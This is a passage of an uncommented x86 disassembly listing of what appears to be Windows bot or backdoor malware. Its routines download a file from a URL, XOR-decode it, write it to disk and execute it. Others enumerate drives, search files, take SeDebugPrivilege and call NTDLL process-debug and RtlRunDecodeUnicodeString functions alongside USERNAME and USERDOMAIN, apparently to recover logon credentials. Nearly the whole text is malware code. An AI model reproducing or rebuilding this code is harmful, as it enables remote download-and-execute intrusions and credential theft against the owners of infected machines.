call ds:dword_4E3060 ; closesocket
loc_416D58: ; CODE XREF: sub_416B2D+220j
push [ebp+var_1C]
call sub_40B9A7
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
sub_416B2D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416D68 proc near ; DATA XREF: sub_401C87+6327o
; sub_401C87+6B4Fo
var_570 = qword ptr -570h
var_564 = qword ptr -564h
var_510 = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_148 = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
rep movsd
xor edi, edi
xor esi, esi
inc edi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push ds:dword_4E2F78
call ds:dword_4E2ECC ; InternetOpenUrlA
cmp eax, esi
mov [ebp+var_18], eax
jz loc_4171E1
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_148]
push 40000000h
push eax
call ds:off_4F53C0
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_416E2F
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset unk_44E850
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_416E12
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409C75
add esp, 14h
loc_416E12: ; CODE XREF: sub_416D68+88j
lea eax, [ebp+var_510]
push eax
call sub_415A3C
push [ebp+var_48]
call sub_40B9A7
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_416E2F: ; CODE XREF: sub_416D68+68j
xor edi, edi
call ds:dword_4F537C ; GetTickCount
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx
call sub_41BE40
pop ecx
mov [ebp+var_1C], eax
loc_416E49: ; CODE XREF: sub_416D68+1A9j
push 200h
lea eax, [ebp+var_510]
push esi
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_510]
push 200h
push eax
push [ebp+var_18]
call ds:dword_4E2ED4 ; InternetReadFile
cmp [ebp+var_34], esi
jz short loc_416E8D
push [ebp+arg_0]
lea eax, [ebp+var_510]
push eax
call sub_417247
pop ecx
pop ecx
loc_416E8D: ; CODE XREF: sub_416D68+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+var_510]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call ds:dword_4F53B4 ; WriteFile
cmp edi, ebx
jnb short loc_416ECB
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_416EB5
mov eax, [ebp+arg_0]
loc_416EB5: ; CODE XREF: sub_416D68+148j
push eax
lea eax, [ebp+var_510]
push eax
mov eax, [ebp+var_1C]
add eax, edi
push eax
call sub_41FBF0
add esp, 0Ch
loc_416ECB: ; CODE XREF: sub_416D68+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_416ED8
cmp edi, [ebp+var_3C]
ja short loc_416F17
loc_416ED8: ; CODE XREF: sub_416D68+169j
mov eax, edi
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_455D00
cmp [ebp+var_44], 1
jz short loc_416F00
push offset unk_44E878
jmp short loc_416F05
; ---------------------------------------------------------------------------
loc_416F00: ; CODE XREF: sub_416D68+18Fj
push offset unk_44E8A0
loc_416F05: ; CODE XREF: sub_416D68+196j
push eax
call sub_41EA60
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_416E49
loc_416F17: ; CODE XREF: sub_416D68+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_416F6C
cmp edi, [ebp+var_3C]
jz short loc_416F6C
push [ebp+var_3C]
lea eax, [ebp+var_510]
mov [ebp+var_14], esi
push edi
push offset unk_44E8C8
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409C75
lea eax, [ebp+var_510]
push eax
call sub_415A3C
add esp, 28h
loc_416F6C: ; CODE XREF: sub_416D68+1B9j
; sub_416D68+1BEj
call ds:dword_4F537C ; GetTickCount
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call ds:off_4F533C
push [ebp+var_1C]
call sub_41C9D0
cmp [ebp+var_38], esi
pop ecx
jz short loc_416FF6
lea eax, [ebp+var_148]
push eax
call sub_4010AA
cmp eax, [ebp+var_38]
pop ecx
jz short loc_416FF6
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+var_510]
push offset unk_44E8F4
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409C75
lea eax, [ebp+var_510]
push eax
call sub_415A3C
add esp, 28h
loc_416FF6: ; CODE XREF: sub_416D68+236j
; sub_416D68+248j
cmp [ebp+var_14], esi
jz loc_41722E
cmp [ebp+var_44], 1
push ecx
lea eax, [ebp+var_148]
push ecx
jz loc_4170F1
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul ds:dbl_43C490
fstp [esp+564h+var_564]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul ds:dbl_43C490
fstp [esp+570h+var_570]
push offset unk_44E91C
push eax
call sub_41EA60
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_417071
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409C75
add esp, 14h
loc_417071: ; CODE XREF: sub_416D68+2E7j
lea eax, [ebp+var_510]
push eax
call sub_415A3C
cmp [ebp+var_40], 1
pop ecx
jnz loc_41722E
push 5
push esi
lea eax, [ebp+var_148]
push esi
push eax
push offset aOpen_2 ; "open"
push esi
call ds:dword_4E2F34
cmp [ebp+var_30], esi
jnz loc_41722E
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_44E95C
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409C75
lea eax, [ebp+var_510]
push eax
call sub_415A3C
add esp, 24h
jmp loc_41722E
; ---------------------------------------------------------------------------
loc_4170F1: ; CODE XREF: sub_416D68+2A3j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul ds:dbl_43C490
fstp [esp+564h+var_564]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul ds:dbl_43C490
fstp [esp+570h+var_570]
push offset unk_44E978
push eax
call sub_41EA60
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_417151
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409C75
add esp, 14h
loc_417151: ; CODE XREF: sub_416D68+3C7j
lea eax, [ebp+var_510]
push eax
call sub_415A3C
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41E4B0
push 44h
lea eax, [ebp+var_310]
pop edi
push edi
push esi
push eax
call sub_41E4B0
add esp, 1Ch
lea eax, [ebp+var_10]
mov [ebp+var_310], edi
xor edi, edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_148]
push esi
inc edi
push eax
push esi
mov [ebp+var_304], offset dword_4EABF8
mov [ebp+var_2E4], edi
mov [ebp+var_2E0], si
call ds:dword_4F5340 ; CreateProcessA
cmp eax, edi
jnz short loc_4171D3
call ds:dword_4E2F20 ; WSACleanup
call sub_418EAE
push esi
call ds:off_4F5338
loc_4171D3: ; CODE XREF: sub_416D68+457j
lea eax, [ebp+var_148]
push eax
push offset unk_44E9BC
jmp short loc_4171ED
; ---------------------------------------------------------------------------
loc_4171E1: ; CODE XREF: sub_416D68+45j
lea eax, [ebp+var_248]
push eax
push offset unk_44E9F0
loc_4171ED: ; CODE XREF: sub_416D68+477j
lea eax, [ebp+var_510]
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_417221
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409C75
add esp, 14h
loc_417221: ; CODE XREF: sub_416D68+497j
lea eax, [ebp+var_510]
push eax
call sub_415A3C
pop ecx
loc_41722E: ; CODE XREF: sub_416D68+291j
; sub_416D68+31Aj ...
push [ebp+var_18]
call ds:dword_4E2FFC ; InternetCloseHandle
push [ebp+var_48]
call sub_40B9A7
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
sub_416D68 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417247 proc near ; CODE XREF: sub_416D68+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_417263
loc_417253: ; CODE XREF: sub_417247+1Aj
mov dl, ds:byte_43F098
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_417253
locret_417263: ; CODE XREF: sub_417247+Aj
retn
sub_417247 endp
; =============== S U B R O U T I N E =======================================
sub_417264 proc near ; CODE XREF: sub_401C87+58C2p
; sub_401C87+5A31p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_421420
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_417264 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41727E proc near ; CODE XREF: sub_410287+462p
; sub_410287+5FEp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4EABFC
push 0
push edi
call sub_41E4B0
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_4172A3: ; CODE XREF: sub_41727E+5Bj
; sub_41727E+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_4214F0
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_421480
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_4172E1
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_4172A3
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_4172A3
; ---------------------------------------------------------------------------
loc_4172E1: ; CODE XREF: sub_41727E+4Bj
mov eax, edi
jmp short loc_4172EA
; ---------------------------------------------------------------------------
loc_4172E5: ; CODE XREF: sub_41727E+72j
mov cl, [esi]
mov [eax], cl
inc eax
loc_4172EA: ; CODE XREF: sub_41727E+65j
dec esi
lea ecx, [ebp+var_38]
cmp esi, ecx
jnb short loc_4172E5
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_41727E endp
; =============== S U B R O U T I N E =======================================
sub_4172FC proc near ; CODE XREF: sub_4174B1+51p
; sub_4174B1+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_4E3028 ; GetDriveTypeA
sub eax, 0
jz short loc_41733F
dec eax
jz short loc_417339
dec eax
dec eax
jz short loc_417333
dec eax
jz short loc_41732D
dec eax
jz short loc_417327
dec eax
jz short loc_417321
mov eax, offset a?_0 ; "?"
retn
; ---------------------------------------------------------------------------
loc_417321: ; CODE XREF: sub_4172FC+1Dj
mov eax, offset off_44EA20
retn
; ---------------------------------------------------------------------------
loc_417327: ; CODE XREF: sub_4172FC+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_41732D: ; CODE XREF: sub_4172FC+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_417333: ; CODE XREF: sub_4172FC+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_417339: ; CODE XREF: sub_4172FC+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_41733F: ; CODE XREF: sub_4172FC+Dj
mov eax, offset aUnknown_1 ; "Unknown"
retn
sub_4172FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417345 proc near ; CODE XREF: sub_41738D+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, ds:dword_4E2EB8
test eax, eax
jz short loc_41737A
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_41737A: ; CODE XREF: sub_417345+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_417345 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41738D proc near ; CODE XREF: sub_4174B1+17p
; sub_41B6C1+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_417345
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_417467
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_417467
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_417467
mov edi, 400h
push 0
push edi
push [ebp+var_14]
push [ebp+var_18]
call sub_421570
push edx
push eax
call sub_41727E
push eax
mov esi, 80h
push offset aSkb ; "%sKB"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41EC30
add esp, 18h
push 0
push edi
push [ebp+var_C]
push [ebp+var_10]
call sub_421570
push edx
push eax
call sub_41727E
push eax
push offset aSkb_0 ; "%sKB"
lea eax, [ebp+var_118]
push esi
push eax
call sub_41EC30
add esp, 18h
push 0
push edi
push [ebp+var_4]
push [ebp+var_8]
call sub_421570
push edx
push eax
call sub_41727E
push eax
push offset aSkb_1 ; "%sKB"
lea eax, [ebp+var_98]
push esi
push eax
call sub_41EC30
jmp short loc_41749A
; ---------------------------------------------------------------------------
loc_417467: ; CODE XREF: sub_41738D+2Cj
; sub_41738D+3Bj ...
lea eax, [ebp+var_198]
push offset aFailed ; "failed"
push eax
call sub_41EA60
lea eax, [ebp+var_118]
push offset aFailed_0 ; "failed"
push eax
call sub_41EA60
lea eax, [ebp+var_98]
push offset aFailed_1 ; "failed"
push eax
call sub_41EA60
loc_41749A: ; CODE XREF: sub_41738D+D8j
mov eax, [ebp+arg_0]
add esp, 18h
lea esi, [ebp+var_198]
mov edi, eax
push 60h
pop ecx
rep movsd
pop edi
pop esi
leave
retn
sub_41738D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4174B1 proc near ; CODE XREF: sub_417583+17p
; sub_417583+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_41738D
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed_2 ; "failed"
rep movsd
push eax
call sub_41F7E0
add esp, 10h
test eax, eax
jnz short loc_417524
push ebx
push ebx
call sub_4172FC
pop ecx
push eax
push offset unk_44EA84
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41EC30
add esp, 14h
jmp short loc_417558
; ---------------------------------------------------------------------------
loc_417524: ; CODE XREF: sub_4174B1+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_4172FC
pop ecx
push eax
push offset unk_44EAC0
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41EC30
add esp, 20h
loc_417558: ; CODE XREF: sub_4174B1+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
lea eax, [ebp+var_500]
push eax
call sub_415A3C
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_4174B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417583 proc near ; CODE XREF: sub_401C87+250Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_4175A4
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4174B1
add esp, 10h
jmp short loc_417603
; ---------------------------------------------------------------------------
loc_4175A4: ; CODE XREF: sub_417583+9j
push esi
push edi
push ebx
push ebx
call ds:dword_4E2F30 ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi
call sub_41BE40
pop ecx
mov edi, eax
push edi
push esi
call ds:dword_4E2F30 ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_4175FA
loc_4175C8: ; CODE XREF: sub_417583+75j
push offset aA_2 ; "A:\\"
push esi
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_4175EB
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4174B1
add esp, 10h
loc_4175EB: ; CODE XREF: sub_417583+54j
push esi
call sub_41BC70
lea esi, [esi+eax+1]
pop ecx
cmp [esi], bl
jnz short loc_4175C8
loc_4175FA: ; CODE XREF: sub_417583+43j
push edi
call sub_41C9D0
pop ecx
pop edi
pop esi
loc_417603: ; CODE XREF: sub_417583+1Fj
pop ebx
pop ebp
retn
sub_417583 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417606 proc near ; DATA XREF: sub_401C87+6935o
var_49C = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = byte ptr -218h
var_115 = byte ptr -115h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+var_114]
push eax
call sub_41BC70
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_41765B
lea eax, [ebp+var_114]
push eax
call sub_41BC70
pop ecx
mov [ebp+eax+var_115], bl
loc_41765B: ; CODE XREF: sub_417606+3Fj
lea eax, [ebp+var_218]
push eax
push offset unk_44EB00
lea eax, [ebp+var_49C]
push 200h
push eax
call sub_41EC30
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_4176A0
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_409C75
add esp, 14h
loc_4176A0: ; CODE XREF: sub_417606+78j
lea eax, [ebp+var_114]
push ebx
push eax
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
push [ebp+var_29C]
call sub_41771E
push eax
lea eax, [ebp+var_49C]
push offset dword_44EB28
push eax
call sub_41EA60
add esp, 24h
cmp [ebp+var_8], ebx
jnz short loc_4176FE
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_409C75
add esp, 14h
loc_4176FE: ; CODE XREF: sub_417606+D6j
lea eax, [ebp+var_49C]
push eax
call sub_415A3C
push [ebp+var_10]
call sub_40B9A7
pop ecx
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
pop ebx
sub_417606 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41771E proc near ; CODE XREF: sub_417606+B9p
; sub_41771E+9Cp
var_548 = byte ptr -548h
var_348 = byte ptr -348h
var_244 = byte ptr -244h
var_140 = byte ptr -140h
var_114 = byte ptr -114h
var_113 = byte ptr -113h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 548h
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+var_244]
push offset dword_44EB48
push esi
push eax
call sub_41EC30
mov edi, ds:off_4F53F0
add esp, 10h
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_244]
push eax
call edi ; sub_50A334
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_4177D7
loc_417764: ; CODE XREF: sub_41771E+B7j
test [ebp+var_140], 10h
jz short loc_4177C5
cmp [ebp+var_114], 2Eh
jnz short loc_417788
cmp [ebp+var_113], 0
jz short loc_4177C5
cmp [ebp+var_113], 2Eh
jz short loc_4177C5
loc_417788: ; CODE XREF: sub_41771E+56j
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_348]
push [ebp+arg_10]
push offset dword_44EB50
push esi
push eax
call sub_41EC30
push [ebp+arg_14]
lea eax, [ebp+var_348]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41771E
add esp, 2Ch
mov [ebp+arg_14], eax
loc_4177C5: ; CODE XREF: sub_41771E+4Dj
; sub_41771E+5Fj ...
lea eax, [ebp+var_140]
push eax
push ebx
call ds:off_4F53EC
test eax, eax
jnz short loc_417764
loc_4177D7: ; CODE XREF: sub_41771E+44j
push ebx
mov ebx, ds:off_4F53E0
call ebx ; sub_50A5FF
push [ebp+arg_C]
lea eax, [ebp+var_244]
push [ebp+arg_10]
push offset dword_44EB58
push esi
push eax
call sub_41EC30
add esp, 14h
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_244]
push eax
call edi ; sub_50A334
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_417861
loc_417812: ; CODE XREF: sub_41771E+141j
lea eax, [ebp+var_114]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_548]
push [ebp+arg_10]
push offset dword_44EB60
push 200h
push eax
call sub_41EC30
push 1
lea eax, [ebp+var_548]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
add esp, 28h
lea eax, [ebp+var_140]
push eax
push esi
call ds:off_4F53EC
test eax, eax
jnz short loc_417812
loc_417861: ; CODE XREF: sub_41771E+F2j
push esi
call ebx ; sub_50A5FF
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41771E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41786C proc near ; DATA XREF: sub_401C87+1C7Do
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
rep movsd
xor esi, esi
inc esi
mov [eax+90h], esi
call sub_41B56E
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_4178AB
cmp eax, 2
jz short loc_4178AB
push offset unk_44EB80
jmp loc_4179EA
; ---------------------------------------------------------------------------
loc_4178AB: ; CODE XREF: sub_41786C+2Ej
; sub_41786C+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_41A2C9
pop ecx
test eax, eax
pop ecx
jz loc_4179E5
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
call ds:off_4F538C
mov esi, ds:off_4F5390
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi ; sub_50B076
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov ds:dword_4EBE3C, eax
call esi ; sub_50B076
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov ds:dword_4EBE30, eax
call esi ; sub_50B076
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov ds:dword_4EC040, eax
call esi ; sub_50B076
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov ds:dword_4EBE38, eax
call esi ; sub_50B076
mov ds:dword_4EBE34, eax
call sub_417A3E
test eax, eax
mov [ebp+arg_0], eax
jz loc_4179B8
mov esi, ds:dword_4F52D4
mov edi, 400h
mov ebx, offset dword_4EAE30
push edi
push ebx
push offset aUsername ; "USERNAME"
call esi ; GetEnvironmentVariableW
push edi
mov edi, offset dword_4EB630
push edi
push offset aUserdomain ; "USERDOMAIN"
call esi ; GetEnvironmentVariableW
cmp [ebp+var_4], 1
push offset dword_4EC044
push [ebp+arg_0]
jnz short loc_417964
call sub_417BC7
jmp short loc_417969
; ---------------------------------------------------------------------------
loc_417964: ; CODE XREF: sub_41786C+EFj
call sub_417D6B
loc_417969: ; CODE XREF: sub_41786C+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_4179B1
cmp ds:dword_4EC044, 0
jnz short loc_417998
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_44EC90
push 200h
push eax
call sub_41EC30
add esp, 18h
jmp short loc_4179CB
; ---------------------------------------------------------------------------
loc_417998: ; CODE XREF: sub_41786C+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_4179A8
call sub_417E98
jmp short loc_4179AD
; ---------------------------------------------------------------------------
loc_4179A8: ; CODE XREF: sub_41786C+133j
call sub_417F2F
loc_4179AD: ; CODE XREF: sub_41786C+13Aj
pop ecx
push eax
jmp short loc_4179BD
; ---------------------------------------------------------------------------
loc_4179B1: ; CODE XREF: sub_41786C+101j
push offset unk_44ECEC
jmp short loc_4179BD
; ---------------------------------------------------------------------------
loc_4179B8: ; CODE XREF: sub_41786C+B6j
push offset unk_44ED24
loc_4179BD: ; CODE XREF: sub_41786C+143j
; sub_41786C+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_41EA60
pop ecx
pop ecx
loc_4179CB: ; CODE XREF: sub_41786C+12Aj
push 0
push offset aSedebugprivi_0 ; "SeDebugPrivilege"
call sub_41A2C9
pop ecx
pop ecx
push [ebp+var_8]
call ds:off_4F5410
pop ebx
jmp short loc_4179F8
; ---------------------------------------------------------------------------
loc_4179E5: ; CODE XREF: sub_41786C+4Ej
push offset unk_44ED64
loc_4179EA: ; CODE XREF: sub_41786C+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_41EA60
pop ecx
pop ecx
loc_4179F8: ; CODE XREF: sub_41786C+177j
xor esi, esi
